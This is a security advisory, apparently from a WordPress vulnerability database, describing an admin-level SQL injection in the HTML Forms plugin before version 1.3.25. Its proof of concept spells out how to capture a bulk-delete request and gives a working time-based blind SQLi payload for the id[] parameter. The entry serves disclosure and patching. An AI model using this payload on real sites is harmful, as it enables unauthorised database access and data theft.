WordPress Plugin Vulnerabilities
HTML Forms < 1.3.25 - Admin+ SQLi
Description
The plugin does not properly properly escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users
Proof of Concept
Access the submission page on https://example.com/wp-admin/admin.php?page=html-forms&view=edit&form_id=form_ID&tab=submissions Capture the request after performing a Move to Trash action, replace the Submission ID with the SQLi payload, e.g _hf_admin_action=bulk_delete_submissions&_wpnonce=nonce&id[]=1) AND (SELECT 2179 FROM (SELECT(SLEEP(5)))xaXr) AND (4033=4033
Affects Plugins
Fixed in version 1.3.25
References
Classification
Miscellaneous
Original Researcher
Nguyen Duy Quoc Khanh
Submitter
Nguyen Duy Quoc Khanh
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-11-07 (about 10 months ago)
Added
2022-11-07 (about 10 months ago)
Last Updated
2022-11-07 (about 10 months ago)